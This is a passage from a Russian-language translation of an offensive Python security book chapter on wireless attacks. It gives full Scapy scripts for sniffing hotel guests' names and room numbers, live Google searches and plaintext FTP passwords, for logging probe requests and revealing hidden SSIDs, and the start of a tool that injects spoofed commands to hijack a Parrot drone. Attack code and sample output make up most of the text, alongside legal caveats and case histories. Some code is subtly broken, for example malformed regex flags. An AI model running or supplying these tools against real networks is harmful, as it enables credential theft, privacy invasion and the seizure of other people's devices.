if __name__ == '__main__':
    main()

```

Естественно, мы не намерены сподвигнуть кого-либо на кражу данных кредитных карт. Вот вам реальный случай, когда за точно такую же атаку «присел» в тюрьму на двадцатилетний срок радио-хакер и вор по имени Альберт Гонсалес. Надеюсь, теперь вы понимаете, что эта атака относительно проста и не так «гениальна», как принято считать. В следующем разделе мы рассмотрим отдельный сценарий, в котором мы атакуем незашифрованную беспроводную сеть, чтобы похитить персональную информацию.

## ФРОНТОВЫЕ СВОДКИ

### Конец банды ShadowCrew

В сентябре 2008 года окружной прокурор штата Массачусетс предъявил обвинение Альберту Гонсалесу в сетевом мошенничестве, нанесении ущерба компьютерным системам, мошенничестве с помощью устройств



доступа и краже личных данных при отягчающих обстоятельствах (Heumann, 2008). Альберт Гонсалес (также известный как `soupnazi`) использовал беспроводной перехватчик, чтобы получить доступ к компьютерным системам корпорации TJX. В то время эта корпорация шифровала свой трафик с помощью некорректной и слабо защищённой схемы шифрования WEP. Это упущение позволило хакерской банде Гонсалеса ShadowCrew перехватывать и расшифровывать беспроводной трафик корпорации. Беспроводной перехватчик, который был у хакеров, наряду со множеством других методов, дал им доступ к более чем 45,7 миллиона карт клиентов, включая скомпрометированные карты в BJ Wholesale, DSW, Office Max, Boston Market, Barnes and Noble, Sports Authority и TJ Maxx.

Огромный, семи футов ростом, опытный хакер Стивен Уотт помогал ShadowCrew в их деяниях. В то время Уотт начинал карьеру в сфере написания программ для торговли в реальном времени (Zetter, 2009). Его роль в создании беспроводного анализатора суд штата «оценил» двумя годами тюрьмы, и обязал его выплатить корпорации TJX компенсацию в сумме 171,5 миллиона долларов.

## Сниффинг гостей отеля

Большинство отелей в наши дни предлагают беспроводные сети общественного доступа. Зачастую в этих сетях не получится зашифровать трафик, и там нет корпоративных средств проверки подлинности или управления шифрованием. В этом разделе рассматривается сценарий, в котором несколько строк Python могут воспользоваться этой ситуацией и привести к фатальному раскрытию публичной информации.

Недавно я останавливался в отеле, который предлагал гостям беспроводную связь. После подключения к беспроводной сети мой веб-браузер направил меня на веб-страницу для входа в сеть. Учётные данные для сети включали мою фамилию и номер гостиничного номера. После предоставления этой информации мой браузер отправил незашифрованную страницу HTTP обратно на сервер для получения файла cookie для аутентификации. Изучение этого исходного запроса HTTP post показало кое-что интересное. Я заметил строку, похожую на `PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=1337`.

Передача данных в виде открытого текста на сервер отеля содержала как мою фамилию, так и номер комнаты, в которой я поселился. Сервер даже не пытался защитить эту информацию, и мой браузер просто отправил её в открытом виде. Для этого конкретного отеля фамилия и номер комнаты клиента являлись не чем иным как учётными данными, достаточными для того, чтобы съесть стейк-ужин в гостевом ресторане, получить дорогостоящий массаж и даже совершить покупку в магазине подарков - так что вы можете себе представить, что гости отеля вряд ли захотят, чтобы злоумышленники завладели личной информацией такого рода.

```
POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1
Host: 10.10.13.37
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1)
AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3
Content-Length: 128
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Origin:http://10.10.10.1
DNT: 1
Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_
MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_
NUMBER=1337
```

Теперь мы можем применить Python для захвата этой информации у других постояльцев отеля. Запуск беспроводного sniffера в Python довольно прост. Сначала мы определим наш интерфейс для захвата трафика. Затем наш sniffer мониторит трафик с помощью функции **sniff()** — обратите внимание, что эта функция фильтрует только трафик TCP и перенаправляет все пакеты в процедуру, именуемую **findGuest()**.

```
conf.iface = "mon0"
try:
    print "[*] Starting Hotel Guest Sniffer."
    sniff(filter="tcp", prn=findGuest, store=0)
except KeyboardInterrupt:
    exit(0)
```

Когда функция **findGuest** получает пакет, она определяет, содержит ли перехваченный пакет какую-либо личную информацию. Вначале она копирует необработанное содержимое полезной нагрузки в переменную с именем **raw**. Затем мы можем построить регулярное выражение для разбора фамилий и номеров комнат гостей. Обратите внимание, что наше регулярное выражение для фамилий принимает любую строку, которая начинается с **LAST\_NAME** и заканчивается символом амперсанда (&). Регулярное выражение для номера комнаты гостя отеля захватывает любую строку, которая начинается с **ROOM\_NUMBER**.

```
def findGuest(pkt):
    raw = pkt.sprintf("%Raw.load%")
    name=re.findall("(?i)LAST_NAME=(.*)&",raw)
    room=re.findall("(?i)ROOM_NUMBER=(.*)"',raw)
    if name:
        print "[+] Found Hotel Guest "+str(name[0])\
```

```
+", Room #" + str(room[0]))
```

В итоге у нас теперь есть беспроводной сниффер для «охоты» на гостей отеля, чтобы с его помощью получить фамилию и номер комнаты любого гостя, подключённого к беспроводной сети. Обратите внимание: нам нужно импортировать библиотеку **scapy**, чтобы иметь возможность «держать нос по ветру» трафика и анализировать его.

```
import optparse
from scapy.all import *
def findGuest(pkt):
    raw = pkt.sprintf('%Raw.load%')
    name = re.findall('(?!i)LAST_NAME=(.*)&', raw)
    room = re.findall("(?!i)ROOM_NUMBER=(.*)'", raw)
    if name:
        print '[+] Found Hotel Guest ' + str(name[0])+\'
            \', Room #' + str(room[0])
def main():
    parser = optparse.OptionParser('usage %prog '+\
        '-i<interface>')
    parser.add_option('-i', dest='interface',\
        type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print '[*] Starting Hotel Guest Sniffer.'
        sniff(filter='tcp', prn=findGuest, store=0)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()
```

Запустив нашу программу sniffинга в отеле, мы видим, каким образом злоумышленник может идентифицировать нескольких гостей, проживающих в отеле.

```
attacker# python hotelSniff.py -i wlan0
[*] Starting Hotel Guest Sniffer.
[+] Found Hotel Guest MOORE, Room #1337
[+] Found Hotel Guest VASKOVICH, Room #1984
[+] Found Hotel Guest BAGGETT, Room #43434343
```

Я снова и снова подчёркиваю, что сбор этой информации потенциально нарушает законы штатов, федеральные и национальные законы. В следующем разделе мы ещё больше

расширим наши возможности мониторить беспроводные сети, анализируя запросы Google прямо из эфира.

## Создание беспроводного кейлоггера Google

Вы могли заметить, что поисковая система Google обеспечивает почти мгновенную обратную связь при вводе в строку поиска. В зависимости от скорости интернет-соединения ваш браузер может отправлять HTTP-запрос **GET** после почти каждого ввода ключа в строку поиска. Изучите следующий HTTP **GET** для Google: тут я искал строку «what is the meaning of life?» Из-за своей собственной паранойи я вычеркнул множество дополнительных параметров расширенного поиска в URL, но заметьте, что поиск начинается с **q=**, за которой следует строка поиска, и заканчивается амперсандом. А то, что следует после строки **pq=**, показывает предыдущий поисковый запрос.

```
GET
/s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20meaning%20of%20
life&pq=the+number+42<..ПРОПУЩЕНО..> HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1
Safari/534.51.22
<..ПРОПУЩЕНО..>
```

### ПОЛЕЗНЫЕ СОВЕТЫ

#### Параметры поиска URL-адреса Google

Параметры поиска URL-адреса Google дают множество дополнительной информации. Она может оказаться весьма полезной при создании вашего кейлоггера Google. Разбор запроса, предыдущего запроса, языка, конкретной фразы поиска, типа файла или сайта с ограниченным доступом - всё это может придать дополнительную ценность нашему кейлоггеру. Загляните в документ Google по адресу <http://www.google.com/cse/docs/resultxml.html> для получения дополнительной информации о параметрах поиска URL-адресов Google.

- **q=** Запрос, то, что было введено в поле поиска
- **pq=** Предыдущий запрос, запрос перед текущим поиском
- **hl=** Язык, по умолчанию en[GLISH], но попробуйте ввести ради забавы xx-hacker
- **as\_epq=** Точная фраза

- **as\_filetype=** Формат файла, ограниченный до определённого типа файла, например .zip
- **as\_sitesearch=** Ограничение до определённого сайта, например [www.2600.com](http://www.2600.com)

Параметры URL-адресов Google у нас в руках — теперь создадим сниффер беспроводных пакетов, печатающий результаты поиска в режиме реального времени по мере их перехвата. В этот раз мы будем использовать функцию **findGoogle()** для обработки перехваченных пакетов. Здесь мы скопируем содержимое данных пакета в переменную с именем **payload**. Если она содержит HTTP **GET**, мы можем создать регулярное выражение, чтобы найти текущую строку поиска Google. В конце концов мы очистим полученную строку. URL-адреса HTTP не могут содержать какие-либо пустые символы. Чтобы избежать этой проблемы, веб-браузер кодирует пробелы в виде символов «+» или «%20» в URL. Чтобы правильно преобразовать это сообщение, мы должны преобразовать любые символы «+» или «%20» в пустые символы.

```
def findGoogle(pkt):
    if pkt.haslayer(Raw):
        payload = pkt.getlayer(Raw).load
        if 'GET' in payload:
            if 'google' in payload:
                r = re.findall(r'(?i)\&q=(.*?)\&', payload)
                if r:
                    search = r[0].split('&')[0]
                    search = search.replace('q=', ' ').\
                        replace('+', ' ').replace('%20', ' ')
                    print '[+] Searched For: ' + search
```

Написав весь скрипт нашего Google-сниффера, теперь мы можем отслеживать запросы в Google по мере их появления в режиме реального времени. Обратите внимание, что теперь мы можем пользоваться функцией **sniff()** для фильтрации трафика как в TCP, так и в единственном нужном нам порте 80. Хотя Google и предоставляет возможность отправлять HTTPS-трафик в порт 443, захват этого трафика бесполезен, поскольку он содержит зашифрованные данные. Таким образом, мы будем захватывать HTTP-трафик только в TCP-порте 80.

```
import optparse
from scapy.all import *
def findGoogle(pkt):
    if pkt.haslayer(Raw):
        payload = pkt.getlayer(Raw).load
        if 'GET' in payload:
            if 'google' in payload:
```

```

r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
    search = r[0].split('&')[0]
    search = search.replace('q=', '').\
        replace('+', ' ').replace('%20', ' ')
    print '[+] Searched For: ' + search
def main():
    parser = optparse.OptionParser('usage %prog -i '+\
        '<interface>')
    parser.add_option('-i', dest='interface', \
        type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print '[*] Starting Google Sniffer.'
        sniff(filter='tcp port 80', prn=findGoogle)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()

```

Запустив сниффер в пределах досягаемости кого-либо, кто использует незашифрованное беспроводное соединение, мы видим, что этот человек ищет «what is the meaning of life? (в чём смысл жизни?)» Это тривиальный запрос, так как любой, кто когда-либо читал «*Автостопом по Галактике*», знает, что число 42 объясняет смысл жизни (Adams, 1980). Поскольку перехват трафика Google может оказаться затруднительным, в следующем разделе рассматриваются средства перехвата учётных данных пользователя — что может нанести ещё больший ущерб всей системе безопасности организации.

```

attacker# python googleSniff.py -i mon0
[*] Starting Google Sniffer.
[+] W
[+] What
[+] What is
[+] What is the mean
[+] What is the meaning of life?

```

В 2010 году появились заявления о том, что автомобили Google Street View, которые записывали изображения улиц, записывали также и беспроводные пакеты из незашифрованных беспроводных сетей. Google создал программное приложение под названием **gslite**. Независимая проверка программного обеспечения показала, что **gslite**, в сочетании с сетью с открытым исходным кодом и программой перехвата пакетов, действительно собирало данные (Friedberg, 2010). Хотя эти данные и были записаны без злого умысла, они содержали информацию GPS о местоположении. Кроме того, записанные данные содержали MAC-адреса и идентификаторы SSID расположенных по соседству устройств (Friedberg, 2010). Это дало обладающим этими данными довольно много личной информации, помеченной непосредственно по местам физического расположения её исходных владельцев. Многочисленные правительственные организации из США, Франции, Германии, Индии и других стран подали иски по фактам вторжения в частную жизнь. Поскольку мы создаём программы для записи данных, мы должны убедиться, что не нарушаем местные законы штата, федеральные и национальные законы, касающиеся «прослушки» данных (достаточное ли количество раз я повторил эту мантру в этой главе?)

## Сниффинг учётных данных FTP

Протокол передачи файлов (FTP) не имеет каких-либо средств шифрования для защиты учётных данных пользователя. Злоумышленник может легко перехватить эти учётные данные, когда жертва передаёт их по незашифрованной сети. Посмотрите на следующий **tcpdump**, который показывает перехваченные учётные данные пользователя (USER root/PASS secret). Протокол передачи файлов обменивается этими учётными данными в виде открытого текста по сети.

```
attacker# tcpdump -A -i mon0 'tcp port 21'
E..(..@.@.q..._.....R.=.|.P.9.....
20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 1:17, ack 63, win 14600, length 16
E..8..@.@.q..._.....R.=.|.P.9.....USER root
20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [.], ack 112, win 14600, length 0
E..(..@.@.q..._.....R.=.|.P.9.....
20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, win 14600, length 16
E..8..@.@.q..._.....R.=.|.P.9.....PASS secret
```

Чтобы перехватить эти учётные данные, мы будем искать две конкретные строки. Первая строка содержит оператор **USER**, за которым следует имя пользователя. Вторая строка содержит оператор **PASS**, за которым следует пароль. Как мы видели в **tcpdump**, поле данных пакета TCP содержит эти учётные данные. Мы по-быстрому набросаем два регулярных выражения, чтобы «поймать» эту информацию, а также уберём IP-адрес назначения из пакета. Имя пользователя и пароль бесполезны без адреса FTP-сервера.

```
from scapy.all import *
def ftpSniff(pkt):
    dest = pkt.getlayer(IP).dst
    raw = pkt.sprintf('%Raw.load%')
    user = re.findall('(?!i)USER (.*)', raw)
    pswd = re.findall('(?!i)PASS (.*)', raw)
    if user:
        print '[*] Detected FTP Login to ' + str(dest)
        print '[+] User account: ' + str(user[0])
    elif pswd:
        print '[+] Password: ' + str(pswd[0])
```

Составив весь наш скрипт, мы можем sniffить TCP-трафик только через TCP-порт 21. Мы также добавим некоторые параметры анализа, позволяющие нам выбрать, какой сетевой адаптер использовать для нашего sniffера. Запуск этого скрипта позволяет нам перехватывать FTP-входы, аналогичные инструменту, используемому командой Wall of Sheep.

```
import optparse
from scapy.all import *
def ftpSniff(pkt):
    dest = pkt.getlayer(IP).dst
    raw = pkt.sprintf('%Raw.load%')
    user = re.findall('(?!i)USER (.*)', raw)
    pswd = re.findall('(?!i)PASS (.*)', raw)
    if user:
        print '[*] Detected FTP Login to ' + str(dest)
        print '[+] User account: ' + str(user[0])
    elif pswd:
        print '[+] Password: ' + str(pswd[0])
def main():
    parser = optparse.OptionParser('usage %prog '+\
        '-i<interface>')
    parser.add_option('-i', dest='interface', \
        type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
```



```
else:
    conf.iface = options.interface
try:
    sniff(filter='tcp port 21', prn=ftpSniff)
except KeyboardInterrupt:
    exit(0)
if __name__ == '__main__':
    main()
```

После запуска нашего скрипта мы обнаруживаем вход на FTP-сервер и отображаем учётные данные пользователя, введенные им для входа на сервер: теперь у нас есть сниффер учётных данных FTP, состоящий из менее чем 30 строк кода языка Python. Поскольку учётные данные пользователя могут дать нам доступ к сети, в следующем разделе мы будем использовать беспроводной сниффинг для изучения прошлой истории пользователя.

```
attacker: !# python ftp-sniff.py -i mon0
[*] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n
[+] Password: secret\r\n
```

## Где носило ваш ноутбук? Python даст ответ!

Однажды, несколько лет назад, я вёл урок по безопасности беспроводной связи. Я отключил обычную беспроводную сеть в классе, чтобы ученики не отвлекались во время урока, а также чтобы они не взламывали случайных жертв. За несколько минут до начала занятий я включил сканер беспроводной сети в рамках учебной демонстрации. Я заметил кое-что интересное: несколько клиентов в комнате пытались установить соединение со своими предпочитаемыми сетями. Один студент только что вернулся из Лос-Анджелеса. Его компьютер пытался подсоединиться к сетям **LAX\_Wireless** и **Hooters\_WiFi**. Я экспромтом пошутил, спросив: понравилась ли студенту остановка в LAX, и заглянул ли он в ресторан Hooters во время своей поездки? Он был поражён: откуда я узнал эту информацию?

### Прослушивание запросов зонда 802.11

В попытке обеспечить бесперебойную связь ваши компьютер и телефон часто сохраняют список предпочитаемых сетей, в котором содержатся названия беспроводных сетей, к которым вы успешно подключались в прошлом. Во время загрузки или после отключения от сети компьютер часто отправляет запросы зонда 802.11 для поиска по каждому из названий сетей в этом списке.

Давайте по-быстрому напишем инструмент для обнаружения запросов зонда 802.11. В этом примере мы вызовем нашу функцию обработки пакетов **sniffProbe()**. Обратите внимание, что мы разберём только запросы зонда 802.11, запросив у пакета, имеется ли у него

`haslayer(Dot11ProbeReq)`. Если запрос содержит новое имя сети, мы можем вывести имя сети на экран.

```
from scapy.all import *
interface = 'mon0'
probeReqs = []
def sniffProbe(p):
    if p.haslayer(Dot11ProbeReq):
        netName = p.getlayer(Dot11ProbeReq).info
        if netName not in probeReqs:
            probeReqs.append(netName)
            print '[+] Detected New Probe Request: ' + netName
sniff(iface=interface, prn=sniffProbe)
```

Теперь мы можем запустить наш скрипт, чтобы увидеть запросы зондов от любых соседних компьютеров или телефонов. Это позволит нам видеть названия сетей в списках предпочтительных сетей наших клиентов.

```
attacker: !# python sniffProbes.py
[+] Detected New Probe Request: LAX_Wireless
[+] Detected New Probe Request: Hooters_WiFi
[+] Detected New Probe Request: Phase_2_Consulting
[+] Detected New Probe Request: McDougall_Pizza
```

## Ищем скрытые маяки сети 802.11

В то время как большинство сетей объявляют своё сетевое имя (BSSID), некоторые беспроводные сети используют скрытый SSID для защиты от обнаружения сетевого имени. Поле **Info** в кадре маяка 802.11 обычно содержит название сети. В скрытых сетях точка доступа оставляет это поле пустым. В таком случае обнаружение скрытой сети оказывается довольно простым, поскольку мы можем просто искать фреймы маяка 802.11 с пустыми информационными полями. В следующем примере мы поищем эти кадры и распечатаем MAC-адрес беспроводной точки доступа.

```
def sniffDot11(p):
    if p.haslayer(Dot11Beacon):
        if p.getlayer(Dot11Beacon).info == '':
            addr2 = p.getlayer(Dot11).addr2
            if addr2 not in hiddenNets:
                print '[-] Detected Hidden SSID: ' + \
                    'with MAC:' + addr2
```

## Демаскировка скрытых сетей 802.11

Хотя точка доступа оставляет поле **Info** пустым во фрейме маяка 802.11, она передаёт имя во время ответа зонда. Ответ зонда обычно происходит после того, как клиент отправляет запрос зонда. Чтобы обнаружить скрытое имя, мы должны дождаться ответа зонда, который совпадает с тем же MAC-адресом, что и наш фрейм маяка 802.11. Мы можем соединить это в коротком скрипте языка Python, используя два массива. Первый, **hiddenNets**, отслеживает уникальные MAC-адреса для скрытых сетей, которые мы увидели. Второй массив, **unhiddenNets**, отслеживает сети, которые мы уже раскрыли. Когда мы обнаружим фрейм маяка 802.11 с пустым именем сети, мы сможем добавить его в наш массив скрытых сетей. Когда мы обнаружим ответ зонда 802.11, мы извлечём имя сети. Мы можем проверить массив **hiddenNets**, чтобы увидеть, содержит ли он это значение, и массив **unhiddenNets**, чтобы убедиться, что он его *не* содержит. Если оба условия подтвердятся, мы сможем узнать имя сети и вывести его на экран.

```
import sys
from scapy.all import *
interface = 'mon0'
hiddenNets = []
unhiddenNets = []
def sniffDot11(p):
    if p.haslayer(Dot11ProbeResp):
        addr2 = p.getlayer(Dot11).addr2
        if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
            netName = p.getlayer(Dot11ProbeResp).info
            print '[+] Decloaked Hidden SSID: ' + \
                netName + ' for MAC: ' + addr2
            unhiddenNets.append(addr2)
    if p.haslayer(Dot11Beacon):
        if p.getlayer(Dot11Beacon).info == '':
            addr2 = p.getlayer(Dot11).addr2
            if addr2 not in hiddenNets:
                print '[-] Detected Hidden SSID: ' + \
                    'with MAC:' + addr2
                hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDot11)
```

Запустив наш скрипт поиска скрытых SSID, мы видим, что он правильно идентифицирует скрытую сеть и расшифровывает имя, всего с помощью менее чем 30 строк кода! Захватывающе! В следующем разделе мы перейдём к активной беспроводной атаке — а именно к подделке пакетов для захвата беспилотного летательного аппарата.

```
attacker: !# python sniffHidden.py
[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01
```

## Перехват беспилотников и отслеживание их с помощью языка Python

Летом 2009 года военные США в Ираке заметили нечто интересное. Когда американские военные изымали ноутбуки у повстанцев, они обнаруживали в них похищенные с американских дронов видеотрансляции. В ноутбуках содержались сотни часов доказательств того, что видео с дронов перехватывалось повстанцами (Shane, 2009). В ходе дальнейшего расследования сотрудники разведки обнаружили, что повстанцы использовали пакет коммерческого программного обеспечения стоимостью \$26, под названием **SkyGrabber**, для перехвата видеопотоков БПЛА (SkyGrabber, 2011). К большому их удивлению, представители BBC обнаружили в программе БПЛА, что беспилотные летательные аппараты отправляли видео по незашифрованной связи на некий наземный блок управления (McCullagh, 2009). Программное обеспечение **SkyGrabber**, обычно используемое для перехвата незашифрованных данных спутникового телевидения, даже не требовало какой-либо реконфигурации для перехвата видеопотоков с беспилотных летательных аппаратов США.

Атака на военный дрон США безусловно нарушает некоторые аспекты Патриотического акта, поэтому давайте найдём более законную цель для захвата. Беспилотник Parrot Ar.Drone отлично для этого подходит. С открытым исходным кодом и Linux-системой, Parrot Ar.Drone допускает управление с помощью приложения для iPhone/iPod через незашифрованный Wi-Fi 802.11. Менее чем за \$300 авиалюбитель может купить этот беспилотник на сайте <http://ardrone.parrot.com/>. С инструментами, уже изученными нами, мы можем захватить управление полётом намеченного беспилотника.

### Перехват трафика, распределение протокола

Давайте сначала разберёмся, как БПЛА и iPhone коммуницируют между собой. Поместив беспроводной адаптер в режим мониторинга, мы узнаём, что БПЛА и iPhone создают между собой специальную одноразовую беспроводную сеть. По прочтении прилагаемых к БПЛА инструкций нам становится известно, что фильтрация MAC-адресов — единственный механизм безопасности, защищающий соединение. Только сопряжённый iPhone может отправлять на БПЛА инструкции по полётной навигации. Чтобы захватить дрон, нам нужно узнать протокол для инструкций, и затем воспроизводить их по мере необходимости.

Сначала мы переводим наш адаптер беспроводной сети в режим мониторинга для наблюдения за трафиком. Быстрый **tcpdump** показывает трафик UDP, исходящий от БПЛА и направленный на UDP-порт 5555 телефона. Быстро его проанализировав, мы можем предположить, по его большому объёму и направлению, что этот трафик содержит загрузку

видео с БПЛА. Навигационные команды, напротив, скорее всего приходят непосредственно с iPhone и направляются к UDP-порту 5556 на БПЛА.

```
attacker# airmon-ng start wlan0
Interface      Chipset          Driver
wlan0          Ralink RT2870/3070  rt2800usb - [phy0]
               (monitor mode enabled on mon0)

attacker# tcpdump-nn-i mon0
16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14]
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106
16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14]
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64
16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14]
IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824
```

Зная, что iPhone отправляет элементы управления БПЛА на порт UDP 5556, мы можем создать небольшой скрипт на языке Python для разбора навигационного трафика. Обратите внимание, что наш скрипт выводит необработанное содержимое трафика UDP с портом назначения 5556.

```
from scapy.all import *
NAVPORT = 5556
def printPkt(pkt):
    if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
        raw = pkt.sprintf('%Raw.load%')
        print raw
conf.iface = 'mon0'
sniff(prn=printPkt)
```

Запуск этого скрипта даёт нам первое представление о протоколе навигации для БПЛА. Мы видим, что протокол использует синтаксис **AT\*CMD\*=SEQUENCE\_NUMBER,VALUE,[VALUE{3}]**. Записывая трафик в течение длительного периода времени, мы узнали три простые инструкции, которые окажутся полезными в нашей атаке и заслуживают воспроизведения. Команда **AT\*REF=\$SEQ,290717696\r** управляет посадкой БПЛА. Далее, команда **AT\*REF=\$SEQ,290717952\r** управляет аварийной посадкой, немедленно отключая двигатели аппарата. Команда **AT\*REF=SEQ, 290718208\r** управляет взлётом БПЛА. Наконец, мы можем управлять движением беспилотника с помощью команд **AT\*PCMD=SEQ, Left\_Right\_Tilt, Front\_Back\_Tilt, Vertical\_Speed, Angular\_Speed\r**. Теперь мы знаем достаточно о навигационном контроле, чтобы провести атаку.

```
attacker# python uav-sniff.py
'AT*REF=11543,290718208\r'
'AT*PCMD=11542,1,-1364309249,988654145,1065353216,0\r'
'AT*REF=11543,290718208\r'
```

```
'AT*PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT*PCMD=11545,1,-  
1355121202,998132864,1065353216,0\r'  
'AT*REF=11546,290718208\r'  
<..ПРОПУЩЕНО..>
```

Давайте начнём с создания класса Python с именем **interceptThread**. Этот многопоточный класс имеет поля, в которых хранится информация для нашей атаки. Эти поля содержат текущий перехваченный пакет, конкретный порядковый номер протокола БПЛА и, наконец, логическое значение для описания перехвата трафика БПЛА в случае его успешного проведения. Инициировав эти поля, мы создадим два метода: **run()** и **intercept-Pkt()**. Метод **run()** запускает сниппер, отфильтрованный по UDP и порту 5556, который вызывает метод **interceptPkt()**. После первого перехвата трафика БПЛА этот метод меняет логическое значение на **true**. Затем он удалит порядковый номер из текущей команды БПЛА и запишет текущий пакет.

```
class interceptThread(threading.Thread):  
    def __init__(self):  
        threading.Thread.__init__(self)  
        self.curPkt = None  
        self.seq = 0  
        self.foundUAV = False  
    def run(self):  
        sniff(prn=self.interceptPkt, filter='udp port 5556')  
    def interceptPkt(self, pkt):  
        if self.foundUAV == False:  
            print '[*] UAV Found.'  
            self.foundUAV = True  
            self.curPkt = pkt  
            raw = pkt.sprintf('%Raw.load%')  
            try:  
                self.seq = int(raw.split(',')[0].split('=')[-1]) + 5  
            except:  
                self.seq = 0
```

## Создание фреймов 802.11 с помощью Scapy

Далее мы должны подделать новый пакет, содержащий наши собственные команды БПЛА. Однако для этого нам необходимо продублировать некоторую необходимую информацию из текущего пакета или кадра. Поскольку этот пакет содержит уровни RadioTap, 802.11, SNAP, LLC, IP и UDP, нам необходимо скопировать поля каждого из них. В **Scapy** имеется органичная поддержка для разбора каждого из этих уровней. Например, чтобы посмотреть уровень Dot11, мы запускаем **Scapy** и отдаём команду **ls(Dot11)**. Мы видим необходимые поля, которые нужно будет скопировать и воспроизвести в нашем новом пакете.

```

attacker# scapy
Welcome to Scapy (2.1.0)
>>>ls(Dot11)
subtype          : BitField          = (0)
type             : BitEnumField      = (0)
proto            : BitField          = (0)
FCfield          : FlagsField        = (0)
ID               : ShortField         = (0)
addr1            : MACField           = ('00:00:00:00:00:00')
addr2            : Dot11Addr2MACField = ('00:00:00:00:00:00')
addr3            : Dot11Addr3MACField = ('00:00:00:00:00:00')
SC               : Dot11SCField       = (0)
addr4            : Dot11Addr4MACField = ('00:00:00:00:00:00')

```

Мы создали целую библиотеку для копирования каждого из уровней RadioTap, 802.11, SNAP, LLC, IP и UDP. Обратите внимание, что мы пропускаем некоторые из полей в каждом уровне: например, не копируем поле длины IP. Поскольку наши команды могут иметь разную длину, пусть **Scapy** сам автоматически вычисляет это поле при создании пакета. То же самое касается некоторых полей контрольной суммы. Обладая этой библиотекой для копирования пакетов, мы теперь можем продолжить нашу атаку на БПЛА. Сохраним эту библиотеку под именем **dup.py**, поскольку она дублирует большинство полей во фрейме 802.11.

```

from scapy.all import *
def dupRadio(pkt):
    rPkt=pkt.getlayer(RadioTap)
    version=rPkt.version
    pad=rPkt.pad
    present=rPkt.present
    notdecoded=rPkt.notdecoded
    nPkt = RadioTap(version=version,pad=pad,present=present,
    notdecoded=notdecoded)
    return nPkt
def dupDot11(pkt):
    dPkt=pkt.getlayer(Dot11)
    subtype=dPkt.subtype
    Type=dPkt.type
    proto=dPkt.proto
    FCfield=dPkt.FCfield
    ID=dPkt.ID
    addr1=dPkt.addr1
    addr2=dPkt.addr2
    addr3=dPkt.addr3
    SC=dPkt.SC
    addr4=dPkt.addr4
    nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=
    FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=ad

```

```

        dr4)
        return nPkt
def dupSNAP(pkt):
    sPkt=pkt.getlayer(SNAP)
    oui=sPkt.OUI
    code=sPkt.code
    nPkt=SNAP(OUI=oui,code=code)
    return nPkt
def dupLLC(pkt):
    lPkt=pkt.getlayer(LLC)
    dsap=lPkt.dsap
    ssap=lPkt.ssap
    ctrl=lPkt.ctrl
    nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
    return nPkt
def dupIP(pkt):
    iPkt=pkt.getlayer(IP)
    version=iPkt.version
    tos=iPkt.tos
    ID=iPkt.id
    flags=iPkt.flags
    ttl=iPkt.ttl
    proto=iPkt.proto
    src=iPkt.src
    dst=iPkt.dst
    options=iPkt.options
    nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,
    proto=proto,src=src,dst=dst,options=options)
    return nPkt
def dupUDP(pkt):
    uPkt=pkt.getlayer(UDP)
    sport=uPkt.sport
    dport=uPkt.dport
    nPkt=UDP(sport=sport,dport=dport)
    return nPkt

```

Далее мы добавим новый метод в наш класс **interceptThread**, который называется **injectCmd()**. Этот метод дублирует текущий пакет на каждом из уровней, и затем добавляет новую инструкцию в качестве полезной нагрузки для уровня UDP. После создания этого нового пакета он отправляет её на уровень 2 с помощью команды **sendp()**.

```

def injectCmd(self, cmd):
    radio = dup.dupRadio(self.curPkt)
    dot11 = dup.dupDot11(self.curPkt)
    snap = dup.dupSNAP(self.curPkt)
    llc = dup.dupLLC(self.curPkt)
    ip = dup.dupIP(self.curPkt)

```



```
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dot11 / llc / snap / ip / udp / raw
sendp(injectPkt)
```

